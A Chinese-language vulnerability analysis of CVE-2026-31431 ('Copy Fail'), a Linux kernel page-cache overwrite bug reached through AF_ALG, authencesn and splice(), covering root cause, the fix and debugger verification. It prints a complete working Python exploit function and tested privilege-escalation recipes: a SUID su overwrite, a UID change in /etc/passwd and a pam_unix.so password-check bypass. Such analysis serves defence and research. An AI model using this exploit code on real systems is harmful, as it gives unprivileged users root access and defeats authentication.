从 Crypto 子系统的一个优化 commit,到 9 年后的任意文件页缓存覆写
一、引言
2026 年 4 月底,安全研究员Taeyang Lee公开披露了一个编号为CVE-2026-31431的 Linux 内核漏洞,并为其取了一个颇具讽刺意味的名字——Copy Fail。
这个名字精确地概括了漏洞的本质:2017 年,一位内核开发者为了修复 AF_ALG 加密接口中"AAD 数据没有从 src 复制到 dst"的 bug,引入了一个 in-place 优化。这个优化本身完全合理,但它无意中打破了内核 crypto 子系统中另一个模块 (authencesn) 长期以来的一个隐含假设——"目标 buffer 是连续的内核内存,向其中写几个字节不会造成任何副作用"。
当这两个独立子系统在splice()的帮助下与Page Cache交汇时,一个无特权的本地用户可以向系统中任意可读文件的页面缓存写入 4 字节可控数据。
这不是通常意义上的内存越界写或 UAF。它的危害更加隐蔽和深远:
/usr/bin/su的 ELF 头部 → root shellO_RDONLY打开即可触发页面缓存写入 → readOnly volume 形同虚设漏洞影响 2017 年至 2026 年之间的所有主流 Linux 发行版内核(CVSS 7.8 High),持续潜伏了近 9 年。
时间线:

本文将从漏洞触发的前置知识开始,逐步深入根因分析、PoC 原理与内核级动态验证,随后系统性地探索宿主机提权和容器环境下的各类攻击路径及其可行性边界,最后给出防御方案和基于O_DIRECT+fanotify的页缓存完整性检测方案。
二、背景知识
Scatterlist (SGL) AEAD Crypto Page Cache | | | |scatterwalk AAD authencesn splice() | | | | +--------+-------+ | | | | | AF_ALG -------------+ | | | algif_aead --------------------------+下面逐一展开。
当进程通过read()读取/usr/bin/cat时,内核不会每次都去磁盘拿数据。它会先检查一块叫做Page Cache的内存区域——如果文件的对应页面已经缓存在内存中,就直接返回缓存数据。
Page Cache 的几个关键特性与本漏洞直接相关:
全局共享。Page Cache 以(inode, page_offset)为 key 索引,不属于任何特定进程。同一台机器上的所有进程,只要访问的是同一个 inode,就会命中同一份 page cache。进程 A 通过read()将某个文件加载到 page cache 后,进程 B 读取同一文件时直接命中缓存,无需再次访问磁盘。
回写机制。对于通过正常write()路径产生的修改,内核会将对应的 page 标记为 dirty,稍后由回写线程(pdflush / writeback)异步刷到磁盘。但如果某种内核路径绕过了 VFS 层直接修改了 page cache 页面,dirty 标记不会被设置——修改只存在于内存中,重启或drop_caches后丢失。
即时可见。一旦 page cache 中的某个页面被修改(无论通过何种路径),所有后续的read()调用都会立即看到修改后的内容。这包括同一台机器上的其他进程,也包括容器环境下通过 overlayfs 共享同一底层 inode 的进程(详见 Section 6.1)。

在内核中,一段逻辑连续的数据(比如 10KB 的加密载荷)在物理内存中通常分布在多个不连续的 4KB 页面上。为了描述"这段数据由哪些页面的哪些偏移组成",内核使用Scatterlist(SGL,分散-聚集列表)。
每个struct scatterlistentry 描述一段连续的物理内存区域:
struct scatterlist {unsignedlong page_link; // 指向 page 结构(或 CHAIN 到下一个 SGL 数组)unsignedint offset; // 页面内的起始偏移unsignedint length; // 数据长度};当一个 SGL 数组不够用时,可以通过SG_CHAIN机制链接多个数组:最后一个 entry 的page_link不再指向数据页面,而是指向下一个 SGL 数组的起始地址。遍历 SGL 时,scatterwalk迭代器负责透明地处理这种链式结构。
这个设计本身没有问题。但当 SGL 中的某些 entry 指向的不是普通的内核分配内存,而是page cache 中的页面时,对 SGL 的写操作就等于直接修改了文件的缓存内容——这正是 Copy Fail 的核心利用点。

splice()是 Linux 提供的一种高性能数据传输系统调用。它的核心思想是避免数据在内核空间和用户空间之间来回复制——通过直接在内核管道 buffer 之间移动页面引用。
普通的read()+write()流程需要将文件数据拷贝到用户空间 buffer,再从用户空间 buffer 拷贝到目标。而splice()直接把文件的 page cache 页面引用传递给管道的另一端,全程不发生数据拷贝。

在 AF_ALG 加密接口中,splice()被用来将文件数据"喂"给加密算法。此时文件的page cache pages 被直接放入 TX SGL——这些 SGL entry 中的page_link直接指向全局共享的 page cache 页面。这是一个关键的设计决策:如果后续有任何代码路径向这个 SGL 写入数据,就相当于直接修改了文件的 page cache。
Linux 内核提供了一套用户空间可以直接使用的加密 API,叫做AF_ALG(Address Family: Algorithm)。它的接口设计为 socket 风格:
import socket, osAF_ALG = 38SOL_ALG = 279# 1. 创建 AF_ALG socket,指定使用的加密算法alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)# 绑定算法名称,例如 AEAD 类型的 gcm(aes)alg_sock.bind(("aead", "gcm(aes)"))alg_sock.setsockopt(SOL_ALG, 1, key_bytes) # ALG_SET_KEY: 设置密钥alg_sock.setsockopt(SOL_ALG, 4, None, 16) # ALG_SET_AEAD_AUTHSIZE: 设置 auth tag 大小# 2. accept 获得一个操作用的 socketop_sock = alg_sock.accept()[0]# 3. 通过 sendmsg 发送待加密/解密的数据# cmsg 中通过控制消息指定操作类型(加密/解密)、IV、AAD 长度等参数op_sock.sendmsg([plaintext_data], control_messages)# 4. recv 获取加密/解密结果(内核在此时执行实际的加解密操作)result = op_sock.recv(output_buffer_size)AF_ALG 还支持通过splice()把文件内容直接"喂"给加密算法,避免数据在内核空间和用户空间之间来回复制。这一特性是 Copy Fail 利用链的关键:splice 进入的文件数据在内核中以 page cache page 引用的形式存入 TX SGL,而不是数据拷贝。
在内核中,algif_aead.c负责处理 AEAD 类型的加密请求。它管理 TX SGL(用户发送的数据)和 RX SGL(用户接收 buffer),并最终调用底层加密算法(如authencesn)执行实际的加解密操作。
AEAD(Authenticated Encryption with Associated Data)是一类同时提供保密性和完整性保证的加密方案。它处理的数据格式为:
输入: AAD (Associated Data) || Ciphertext || Auth Tag输出: AAD || Plaintext其中 AAD 是明文关联数据(不加密但参与认证),Ciphertext 是密文,Auth Tag 是认证标签。
authencesn是 Linux 内核中的一个 AEAD 算法实现,全称 "authenc with Extended Sequence Number",为 IPsec 的 ESN(扩展序列号)协议设计。
AAD 的含义
在 AEAD 加密中,AAD(Associated Data)是"需要认证但不需要加密"的附加数据。比如在 TLS 中,AAD 是记录头(内容类型、协议版本、数据长度);在 IPsec 中,AAD 包含安全参数索引和序列号。不同场景下 AAD 的具体内容不同,但 AEAD 算法只需要知道"前assoclen字节是 AAD"即可。
authencesn 为什么要向 dst buffer 写数据
ESN 协议使用 64 位序列号(防止回绕攻击),但网络传输中只携带低 32 位,高 32 位由通信双方本地维护。authencesn 需要在 HMAC 计算时纳入完整的 64 位序列号。它的做法是:
这个"临时写入"就是所谓的ESN scratch write:
// crypto/authencesn.c - crypto_authenc_esn_decrypt()// 从 AAD 中读取前 8 字节scatterwalk_map_and_copy(tmp, req->dst, 0, 8, 0);// 在 IPsec 场景: tmp[0] = SPI, tmp[1] = SeqNo_Hiunsigned int cryptlen = req->cryptlen;cryptlen -= authsize; // 定位到 auth tag 区域的起始// 将 AAD[4:8] 临时写入 dst 中 tag 区域,供 HMAC 计算使用scatterwalk_map_and_copy(tmp + 1, req->dst, assoclen + cryptlen, 4, 1);// ^^^^^^^^ ^// AAD[4:8] 4字节, 1=写方向写入大小是硬编码的 4 字节(sizeof(u32)),写入的值来自 AAD[4:8]。
在 IPsec 的正常场景中,req->dst指向内核通过kmalloc分配的连续 buffer,AAD[4:8] 是合法的序列号数据。临时写入和还原完全无害。
AF_ALG 打开的攻击面
但是通过 AF_ALG 接口,用户空间可以直接调用 authencesn 算法,并且完全控制 AAD 的内容。authencesn 不做任何校验——它不关心 AAD[4:8] 到底是不是真正的 ESN 序列号,只是机械地把这 4 字节写入 dst 的固定偏移处。
只要把想写入 page cache 的数据放进 AAD[4:8],authencesn 就会忠实地把它写入 dst 的固定偏移处。
那么问题来了——如果req->dst中包含的不是 kmalloc buffer,而是page cache pages呢?
三、漏洞成因分析
3.1 漏洞引入:一个合理的优化
2017 年 7 月,内核开发者 Stephan Mueller 提交了 commit72548b093ee3,标题是 "crypto: algif_aead - copy AAD from src to dst"。
这个 commit 要解决的是一个真实的 bug。在此之前,algif_aead的解密路径使用out-of-place模式:
// 2017 之前: out-of-placeaead_request_set_crypt(&areq->aead_req, areq->tsgl, // req->src = TX SGL(输入数据) areq->first_rsgl.sgl.sg, // req->dst = RX SGL(用户接收 buffer) used, ctx->iv);TX SGL 包含用户通过sendmsg()和splice()发送进来的全部数据(AAD + 密文 + 认证标签),RX SGL 指向用户空间的接收 buffer。AEAD 规范要求解密结果包含 AAD,但底层算法只处理密文部分,AAD 需要调用方自行从 src 复制到 dst。旧版algif_aead没做这个复制,导致用户收到的输出中 AAD 区域是全零。
commit72548b093ee3的修复方案分三步:
memcpy_sglist),这样 AAD 就出现在输出中了sg_chain()链接到 RX SGL 尾部req->src = req->dst = RX SGL// 2017 之后的漏洞代码 (in-place)// Step 1: 复制 AAD+密文 到 RX buffermemcpy_sglist(rsgl, tsgl_src, outlen); // outlen = assoclen + cryptlen - authsize// Step 2: 从 TX SGL 中取出 tag pagesaf_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as);// Step 3: 链到 RX SGL 尾部sg_chain(rsgl_sg, rsgl_nents, areq->tsgl);// Step 4: in-place — src 和 dst 都指向 这个 combined RX SGLaead_request_set_crypt(&areq->aead_req, rsgl_src, // req->src = RX SGL (含 chained tag pages) rsgl_dst, // req->dst = RX SGL (同一个!) used, ctx->iv);功能上这完美解决了 AAD 复制问题。但问题出在 Step 2 中取出的tag pages——它们来自 TX SGL,而 TX SGL 中通过splice()进入的数据直接引用了文件的 page cache pages。这些 page cache pages 现在被 chain 到了req->dst中。
问题的本质是两个子系统之间存在一个从未被明确约定的隐含假设冲突:

在 authencesn 的所有其他调用场景中(主要是 IPsec/xfrm),dst 确实是内核分配的连续 buffer。algif_aead的 in-place 优化是第一个(也是唯一一个)将 page cache pages 放入req->dstSGL 的代码路径。

现在把整个漏洞触发过程从头到尾走一遍。假设目标是向某个文件的偏移t处写入 4 字节可控数据。
Step 1:用户空间发送数据
利用时设置以下参数:
assoclen = 8authsize = 4setsockopt(ALG_SET_AEAD_AUTHSIZE)设置)然后分两步向 AF_ALG socket 发送数据:
# 要写入的 4 字节数据evil_bytes = b'\xde\xad\xbe\xef'# Step 1: 通过 sendmsg 发送 8 字节 AAD# AAD[0:4] = 任意填充, AAD[4:8] = 要写入 page cache 的数据# authencesn 会把 AAD[4:8] 作为 ESN seqno_lo 写入 scratch 区域aad = b'\x00\x00\x00\x00' + evil_bytes # 8 字节op.sendmsg([aad], cmsg, MSG_MORE) # MSG_MORE: 后续还有数据# Step 2: 通过 splice 将目标文件的前 t+4 字节送入 AF_ALG socket# splice 直接传递 page cache page 引用,不复制数据pipe_r, pipe_w = os.pipe()target_fd = os.open("/usr/bin/su", os.O_RDONLY)os.splice(target_fd, pipe_w, t + 4, offset_src=0) # 文件 → 管道os.splice(pipe_r, op.fileno(), t + 4) # 管道 → AF_ALG socketStep 2:TX SGL 布局
两次发送后,内核中的 TX SGL 包含:
TX SGL:+--------------------+----------------------------------------+| sendmsg data (8B) | splice data (t+4 bytes) || AAD: 4 zero bytes | file[0:t+4] ||+ evil_bytes | page cache page refs via splice || (kmalloc memory) | (points to GLOBAL SHARED page cache!) |+--------------------+----------------------------------------+从 AEAD 解密的视角来解读这段连续数据:
assoclen=8字节 = sendmsg 发送的\x00\x00\x00\x00+evil_bytest字节 = file[0:t](文件的前 t 字节被当成"密文")authsize=4字节 = file[t:t+4]总字节数 = 8 + t + 4 = t + 12。
Step 3:recv 触发解密 → in-place SGL 构建
调用recv()触发_aead_recvmsg()。漏洞代码执行以下操作:
outlen = assoclen + (cryptlen - authsize) = 8 + ((t+4) - 4) = t + 8(1) memcpy_sglist(RX buffer, TX SGL, outlen=t+8):Copy first t+8 bytes of TX SGL to RX buffer (user-space allocated memory) RX buffer contents: [0:8] = copy of AAD (sendmsg data) [8:8+t] = copy of file[0:t] (ciphertext portion) Note: this is a DATA COPY, not a page reference(2) af_alg_pull_tsgl(TX SGL, skip=t+8, take=4): Skip first t+8 bytes of TX SGL, extract last 4 bytes (tag region) These 4 bytes in TX SGL correspond to file[t:t+4] from splice-> SGL entry: { page = file's page cache page, offset = t%4096, length = 4 }-> This is the ORIGINAL page cache reference, NOT a copy!(3) sg_chain(RX SGL tail, tag SGL): Chain the tag page reference to the end of RX SGL最终的 combined dst SGL(也是 src)布局:
combined dst SGL (= req->src = req->dst):+-- RX buffer (user-space, SAFE) ----+ +-- chained tag (PAGE CACHE!) ------+||||| AAD (8B) | ciphertext (tB) |->| file[t:t+4] in page cache |||=copy of file[0:t] || original page ref from splice |||||+-- offset 0 t+8 -----+ +-- offset t+8 t+12 -+关键点:RX buffer 部分是内核分配的用户空间内存(安全),但尾部 chained 的 tag pages 是文件的 page cache 原始页面引用。
Step 4:authencesn 的 scratch write → 命中 page cache
crypto_authenc_esn_decrypt()开始执行。ESN scratch write 的目标位置计算:
// crypto_authenc_esn_decrypt() 的 scratch write:// 先读取 AAD[0:8]scatterwalk_map_and_copy(tmp, req->dst, 0, 8, 0); // tmp[0]=AAD[0:4], tmp[1]=AAD[4:8]unsigned int cryptlen = req->cryptlen; // = t + 4 (密文 + tag 的长度)cryptlen -= authsize; // = t + 4 - 4 = t// 将 tmp[1] (= AAD[4:8] = evil_bytes) 写入 dst[assoclen + cryptlen]scatterwalk_map_and_copy(tmp + 1, req->dst, assoclen + cryptlen, 4, 1);// ^^^^^^^^ ^^^^^^^^^^^^^^^^ ^// = AAD[4:8] = 8 + t 写方向// = evil_bytes写入位置是 dst SGL 的偏移8 + t。对照上面的 combined SGL 布局:
8 + t恰好是 RX buffer 的边界,也就是chained tag pages 的起始位置。
而 tag pages 是 file[t:t+4] 的 page cache 原始引用。所以 scratch write 写入的就是文件 page cache 中偏移t处的 4 字节。
写入的值 =tmp[1]= AAD[4:8] = 通过 sendmsg 传入的evil_bytes。
至此链条闭合:写入位置通过 splice 长度控制(决定 t),写入内容通过 sendmsg 的 AAD[4:8] 控制。两者都是用户空间可自由指定的参数。
为什么写入不可逆?
解密完成后,crypto_authenc_esn_decrypt_tail()会尝试恢复被 scratch write 覆盖的数据。但这里有一个关键细节:它先读取dst[8+t]处的当前值(此时已是 payload),然后写回 AAD[0:8] 到dst[0:8]。dst[8+t] 处从未被写回原始值。
而且 HMAC 校验必然失败(因为数据已被篡改),recvmsg返回-EBADMSG。但此时 page cache 写入已经发生,无法回滚。漏洞利用时只需忽略这个错误即可。
写入位置:通过调整splice()的长度(= t + authsize = t + 4)来控制 t,即写入的目标文件偏移。每次调用可以定位到文件中的任意偏移处。
写入内容:通过 sendmsg 发送的 AAD[4:8](4 字节),完全可控。
写入大小:固定 4 字节。这不是由setsockopt(ALG_SET_AEAD_AUTHSIZE)决定的——authsize 只影响偏移计算中的cryptlen -= authsize。4 字节是 authencesn 中硬编码的sizeof(u32)(ESN 序列号高 32 位的大小)。单次写入字节数无法改变,但多次调用即可覆盖文件的连续区域。
目标文件:任何当前用户有读权限的文件。PoC 用O_RDONLY打开文件,不需要写权限,因为写入路径不经过 VFS 的权限检查。
总结:
写入目标: file page cache[t : t+4]写入值: sendmsg 发送的 AAD[4:8] (4 字节, 完全可控)写入大小: 固定 4 字节 (authencesn 硬编码的 u32)触发条件: assoclen=8, authsize=4, splice 长度=t+4文件权限: 只需 O_RDONLY,不需要写权限根本原因: dst SGL 尾部 chained 的 tag pages 是 splice 引入的 page cache 原始引用修复补丁a664bf3d603d的作者 Herbert Xu 在 commit message 中写道:
This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.
修复方案:去掉 in-place 模式,让req->src和req->dst重新指向不同的 SGL:
// 修复后: out-of-place// src = TX SGL (包含 page cache pages,但只读)// dst = RX SGL (纯用户空间 buffer)aead_request_set_crypt(&areq->aead_req, tsgl_src, // req->src = TX SGL rsgl_dst, // req->dst = RX SGL (独立!) used, ctx->iv);// AAD 通过显式 memcpy 复制到 RX buffermemcpy_sglist(rsgl_src, tsgl_src, ctx->aead_assoclen);修复后,req->dst只包含用户空间分配的 RX buffer,不再有 page cache pages。authencesn 的 scratch write 写入的是用户自己的接收缓冲区——完全无害。
补丁净删除约 92 行代码:移除了 tag page chain、in-place 分支、af_alg_pull_tsgl的 offset 参数等所有为 in-place 操作添加的复杂逻辑。整个sg_chain()调用被彻底消除——不再有任何 page cache page 出现在req->dst中的可能。(补丁全文可在GitHub查看。)
四、PoC 分析与动态验证
4.1 公开 PoC 结构
公开的Copy Fail PoC是一个 732 字节的高度混淆 Python 脚本,通过 base64 + zlib 压缩嵌套了真正的利用代码。解码后的核心是一个page_cache_write_4bytes(fd, offset, value)函数,它执行上述漏洞触发路径来向指定文件的 page cache 写入 4 字节。
PoC 的完整利用流程是:
/usr/bin/su(SUID root binary)的只读 fdpage_cache_write_4bytes(),将/usr/bin/su的前 160 字节 ELF header 覆盖为一个精心构造的 ELF payload(包含一段获取 root shell 的 shellcode)/usr/bin/su→ 获得 root shell这里有一个有趣的细节:PoC 是用O_RDONLY打开目标文件的。对于常规的 VFS 写操作,只读 fd 会被内核拒绝。但 Copy Fail 的写入路径不经过 VFS 的权限检查——它通过 crypto 子系统的 scratch write 直接修改 page cache 页面。这意味着任何可读文件都是潜在的攻击目标,包括被挂载为 readOnly 的文件。
去混淆后的核心函数(对照 Section 3 的数据流):
AF_ALG = 38SOL_ALG = 279ASSOCLEN = 8 # AAD 长度AUTHSIZE = 4 # auth tag 大小 (也影响偏移计算)def page_cache_write_4bytes(fd, offset, value):"""向 fd 指向文件的 page cache[offset : offset+4] 写入 value (4字节)"""# 创建 AF_ALG socket, 绑定 authencesn(hmac(sha256),cbc(aes)) 算法 s = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) s.setsockopt(SOL_ALG, 2, # ALG_SET_KEY: 密钥 (全零, 内容不影响漏洞触发)b'\x08\x00\x01\x00' # rtattr 头b'\x00\x00\x00\x10' # enckeylen=16 (AES-128) + b'\x00' * 32) # 16B authkey + 16B enckey s.setsockopt(SOL_ALG, 4, None, AUTHSIZE) # ALG_SET_AEAD_AUTHSIZE = 4 op = s.accept()[0]# 构造 8 字节 AAD: 前 4B 填充零, 后 4B 是要写入 page cache 的 value# authencesn 会把 AAD[4:8] (= value) 写入 dst[assoclen + cryptlen] aad = b'\x00' * 4 + value # 8 字节 op.sendmsg([aad], [(SOL_ALG, 2, b'\x00' * 4), # ALG_OP_DECRYPT (SOL_ALG, 3, b'\x10' + b'\x00' * 19), # IV = 16B zero (SOL_ALG, 4, struct.pack('I', ASSOCLEN))], # assoclen = 8 socket.MSG_MORE)# 通过 splice 将目标文件的 [0, offset+4) 送入 AF_ALG socket# splice 传递 page cache page 引用 (零拷贝) pr, pw = os.pipe() os.splice(fd, pw, offset + AUTHSIZE, offset_src=0) os.splice(pr, op.fileno(), offset + AUTHSIZE)try: op.recv(ASSOCLEN + offset) # 触发 _aead_recvmsg → authencesn scratch writeexcept OSError:pass # HMAC 校验失败返回 EBADMSG, 但 page cache 写入已完成 op.close(); s.close(); os.close(pr); os.close(pw)为了从内核层面验证漏洞的完整触发路径,需要搭建一个可控的调试环境:在 QEMU 中运行带有调试符号的 Linux 6.12.8 内核,通过 GDB 远程调试在关键函数设置断点,捕获完整的执行链。
实验环境代码
本节涉及的所有脚本和配置文件:GitHub Gist — QEMU Debug Environment
GDB 断点脚本:GitHub Gist — GDB Scripts
整个调试环境通过 Docker 构建(避免在 macOS 上配置交叉编译链),产出三个文件:压缩内核bzImage、调试符号vmlinux、以及包含 PoC 工具的 initramfs。
# 构建内核 + busybox + PoC (通过 Docker,约 10 分钟)docker build -t copyfail-build -f Dockerfile .docker run --rm -v $(pwd)/output:/output copyfail-build# 产出:# output/bzImage — 压缩内核 (4.8M)# output/vmlinux — 带 DWARF 调试符号 (126M, 给 GDB 用)# output/rootfs.cpio.gz — initramfs (含 busybox + poc_pagecache_write)内核配置的关键选项(确保 crypto 子系统和调试符号完整):
CONFIG_CRYPTO_USER_API_AEAD=y # AF_ALG AEAD 接口CONFIG_CRYPTO_AUTHENC=y # authenc 模块CONFIG_CRYPTO_SEQIV=y # 序列号 IVCONFIG_DEBUG_INFO_DWARF5=y # 完整调试符号CONFIG_GDB_SCRIPTS=y # GDB helper scriptsCONFIG_KALLSYMS_ALL=y # 所有内核符号可见启动 QEMU 虚拟机:
# 普通启动 (直接进入 shell)./run_qemu.sh# 调试模式 (QEMU 暂停, 等待 GDB 连接到 :1234)./run_qemu.sh debug在另一个终端连接 GDB:
gdb ./vmlinux -ex 'target remote :1234' -ex 'continue'在 QEMU 虚拟机的 shell 中,执行自动化实验脚本:
# === VM 内执行 ===# 1. 创建测试文件echo "AABBCCDD EEFFGGHH IIJJKKLL MMNNOOPP" > /tmp/target.txthexdump -C /tmp/target.txt# 00000000 41 41 42 42 43 43 44 44 20 45 45 46 46 47 47 48 |AABBCCDD EEFFGGH|# 00000010 48 20 49 49 4a 4a 4b 4b 4c 4c 20 4d 4d 4e 4e 4f |H IIJJKKLL MMNNO|# 00000020 4f 50 50 0a |OPP.|# 2. 第一次写入: offset 0, value 0xDEADBEEFpoc_pagecache_write /tmp/target.txt 0 0xDEADBEEF# [*] Target: /tmp/target.txt# [*] Offset: 0 (0x0)# [*] Value: 0xdeadbeef# [*] Writing 4 bytes to page cache...# [+] Done. Page cache of /tmp/target.txt at offset 0 should now contain 0xdeadbeef# 3. 验证写入结果hexdump -C /tmp/target.txt | head -2# 00000000 ef be ad de 43 43 44 44 20 45 45 46 46 47 47 48 |....CCDD EEFFGGH|# ^^^^^^^^^^^# 0xDEADBEEF (little-endian)# 4. 第二次写入: offset 8, value 0xCAFEBABEpoc_pagecache_write /tmp/target.txt 8 0xCAFEBABE# 5. 验证两次写入互不干扰hexdump -C /tmp/target.txt | head -2# 00000000 ef be ad de 43 43 44 44 be ba fe ca 46 47 47 48 |....CCDD....FGGH|# ^^^^^^^^^^^# 0xCAFEBABE (little-endian)# 6. drop_caches 行为验证 (tmpfs 上的文件不会恢复)echo 3 > /proc/sys/vm/drop_cacheshexdump -C /tmp/target.txt | head -2# 00000000 ef be ad de 43 43 44 44 be ba fe ca 46 47 47 48 |....CCDD....FGGH|# ↑ tmpfs: 数据只存在于 page cache, drop_caches 不驱逐# ↑ 磁盘文件系统 (ext4): drop_caches 后会从磁盘重新加载原始数据结论:4 字节 page cache 写入原语有效,偏移精确可控,多次写入互不干扰。
这是最关键的实验:通过 GDB 在crypto_authenc_esn_decrypt入口处观察req->src == req->dst(证实 in-place),并追踪scatterwalk_map_and_copy的写操作落在 page cache page 上。
# === 终端 1: 启动 QEMU (debug 模式) ===./run_qemu.sh debug# === Debug mode: QEMU paused, waiting for GDB on localhost:1234 ===# === 终端 2: 连接 GDB,加载 Python 断点脚本 ===gdb ./vmlinux -x exp3_2_gdb.py# [GDB Script] Setting up breakpoints for Experiment 3.2+3.3...# Breakpoint 1 at 0xffffffff812984f8: file crypto/authencesn.c, line 263.# [GDB] BP1: crypto_authenc_esn_decrypt (entry)# Breakpoint 2 at 0xffffffff8128f93e: file crypto/scatterwalk.c, line 57.# [GDB] BP2: scatterwalk_map_and_copy (writes only)(gdb) target remote :1234(gdb) continue在 VM shell 中执行 PoC(poc_pagecache_write /tmp/target.txt 0 0xDEADBEEF),GDB 自动捕获以下输出:
=============================================================== crypto_authenc_esn_decrypt ENTRY ===req = 0xffff888002d96a90req->src = 0xffff888002d96820req->dst = 0xffff888002d96820src == dst:YES (IN-PLACE!) ← 漏洞根因确认assoclen = 8cryptlen = 4 (before -= authsize)============================================================--- dst SGL entries ---SGL[0]: page_link=0xffffea000006f440 offset=1760 length=8SGL[1]: page_link=0xffff8880027cbda1 offset=0 length=0 [CHAIN]SGL[2]: page_link=0xffffea000006f8c2 offset=0 length=4 [LAST]=== [HIT 1] scatterwalk_map_and_copy WRITE ===buf=0xffffc90000113d20 sg=0xffff888002d96820 start=4 nbytes=4writing value:0x41414141backtrace:#0 scatterwalk_map_and_copy#1 crypto_authenc_esn_decrypt ← seqno_hi 写入 dst[4..7]#2 _aead_recvmsg#3 aead_recvmsg#4 sock_recvmsg_nosec#5 sock_recvmsg=== [HIT 2] scatterwalk_map_and_copy WRITE ===buf=0xffffc90000113d24 sg=0xffff888002d96820 start=8 nbytes=4writing value:0xdeadbeef ← ★ SCRATCH WRITE:命中 page cache!backtrace:#0 scatterwalk_map_and_copy#1 crypto_authenc_esn_decrypt ← dst[assoclen+cryptlen] = dst[8+0] = page cache#2 _aead_recvmsg...=== [HIT 3] scatterwalk_map_and_copy WRITE ===buf=0xffffc90000113cc8 sg=0xffff888002d96820 start=0 nbytes=8writing value:0x41414141backtrace:#0 scatterwalk_map_and_copy#1 crypto_authenc_esn_decrypt_tail ← ESN header 恢复 (HMAC 后清理)...GDB 输出的关键解读:

SGL 布局验证完毕,调用链recv()→_aead_recvmsg→crypto_authenc_esn_decrypt→scatterwalk_map_and_copy(WRITE)→ page cache 已完整捕获。
在相同环境下,替换为打了补丁a664bf3d603d的 6.12.85 内核重复实验:
# 使用修复版内核启动BZIMAGE=bzImage.patched VMLINUX=vmlinux.patched ./run_qemu.sh debugGDB 输出对比:
=============================================================== crypto_authenc_esn_decrypt ENTRY === req = 0xffff888002dcea90 req->src = 0xffff888002e6d880 req->dst = 0xffff888002dce820 src == dst: NO ← 修复: out-of-place 模式 assoclen = 8 cryptlen = 4 (before -= authsize)============================================================ --- dst SGL entries --- SGL[0]: page_link=0xffffea000006f582 offset=1760 length=8 [LAST] ^^^^ ↑ 仅 1 个 entry, 无 CHAIN, 无 page cache page!=== [HIT 1] scatterwalk_map_and_copy WRITE === writing value: 0x41414141 sg->page_link = 0xffffea000006f582 ← 写入 RX buffer (用户空间), 安全=== [HIT 2] scatterwalk_map_and_copy WRITE === writing value: 0xdeadbeef sg->page_link = 0xffffea000006f582 ← 同样写入 RX buffer, 无副作用
五、一个反复出现的漏洞模式:页缓存覆写
splice()零拷贝将文件的 page cache page 引用传入内核子系统,该子系统的某条代码路径对这些引用执行写操作(pipe merge、crypto scratch write、in-place decrypt),导致文件页缓存被篡改。这一模式已在三个独立的内核子系统中反复出现:
三者的触发路径各不相同,但共享同一核心结果:内核代码路径绕过 VFS 写权限检查,通过 splice 注入的 page 引用直接修改文件页缓存内容。由于修改不经过 VFS 写路径,页面不会被标记为 dirty,磁盘上的原始文件不受影响——篡改仅存在于内存中的页缓存,重启或drop_caches后恢复。

更早的Dirty COW(CVE-2016-5195, 2016) 通过完全不同的机制(mmapCOW 竞态条件 + GUP)达到了相似的结果——非授权修改文件数据。但 Dirty COW 不涉及 splice 或 in-place 操作,其竞态成功后修改会通过 page writeback 写回磁盘(设置 PG_dirty),属于不同类别的漏洞。
原语等价,利用面自然也相同。以下以 Copy Fail 为例,展示"对任意可读文件页缓存的 4 字节可控写入"这一原语在宿主机上除 SUID 文件之外的其他攻击面——以下所有路径均已在 CentOS Stream 8(未修补内核 4.18.0-553)上实验确认可行,结论对同类页缓存覆写漏洞通用。
实验代码本节涉及的所有 PoC 脚本:https://github.com/0xlane/pagecache-guard/tree/main/poc/host-attacks
/etc/passwd在所有 Linux 发行版上的权限均为 0644(世界可读),是此类漏洞利用的天然目标。
原理:将目标用户的 UID 字段从1000改为0000——仅修改一个 ASCII 字符。Linux 通过 UID 判断用户身份,UID 为 0 即 root。
# 修改前: testuser123:x:1000:1000::/home/testuser123:/bin/bashpython3 exp_passwd_uid.py testuser123# [+] SUCCESS: UID changed to 0000 in page cacheid testuser123# uid=0(root) gid=0(root) groups=0(root)su - testuser123# whoami → root# 可以读 /etc/shadow ✅# 恢复echo 3 > /proc/sys/vm/drop_caches仅 1 次 4 字节写入即可完成提权。无需 shellcode,无需了解 ELF 结构——所有发行版通用。修改未设置PG_dirty,drop_caches可恢复。
pam_unix.so是 Linux 标准密码认证模块,权限通常为 0644。
原理:修改pam_unix.so中pam_sm_authenticate函数的密码校验逻辑——将返回值保存指令mov %eax,%ebp(89 c5)替换为xor %ebp,%ebp(31 ed),强制返回PAM_SUCCESS(0):
; 密码校验后保存返回值0x3d5e: 89 c5 mov %eax, %ebp ; 原始: 保存真实的校验结果; 修改为:0x3d5e: 31 ed xor %ebp, %ebp ; 篡改: 强制清零 = PAM_SUCCESSpython3 exp_pam_bypass.py# [*] Auto-detected patch offset: 0x3d5e# [*] Patching to: 31ede95e (xor %ebp,%ebp)# [+] SUCCESS: pam_unix.so patched in page cachesu root# Password: (任意输入)# whoami → root ✅持久性特殊:sshd、login、sd-pam等进程通过mmap(MAP_PRIVATE)加载了pam_unix.so。这些 mmap 引用使得drop_caches无法驱逐被篡改的页面——内核在invalidate_inode_page()中检测到page_mapped()为真时跳过驱逐。修改将持续到所有映射进程退出或文件 inode 被替换(yum reinstall pam)。
Linux 通过mmap(MAP_PRIVATE)加载.so共享库,所有使用同一库的进程共享同一组 page cache 物理页。修改.so的 page cache等价于修改所有已加载该库的运行中进程的代码或数据段——x86 缓存一致性协议确保写入对所有核心的指令和数据获取立即可见。
实验在libnss_files.so(系统 NSS 名称解析库,0644)上验证,通过一个持续运行的监控进程观察修改效果:
# Step 1: 启动监控进程,持续读取 mmap 映射中的字符串gcc -o monitor exp_shared_lib_monitor.c -ldl./monitor &# [monitor] PID=161045# [monitor] initial: "/etc/hosts"# [monitor] tick 1: no change# [monitor] tick 2: no change# Step 2: 篡改 .so 的 page cache (另一终端)python3 exp_shared_lib.py# [+] SUCCESS: '/etc/hosts' → '/etc/h0sts' in page cache# Step 3: 监控进程无需重启即检测到变化# [monitor] tick 3: *** STRING CHANGED ***# [monitor] now: "/etc/h0sts"# [monitor] *** LIVE-PATCH CONFIRMED (no restart) ***关键证据:监控进程 PID=161045 从启动到结束从未重启。它在 tick 1-2 读到原始值,PoC 执行后在 tick 3立即看到修改。
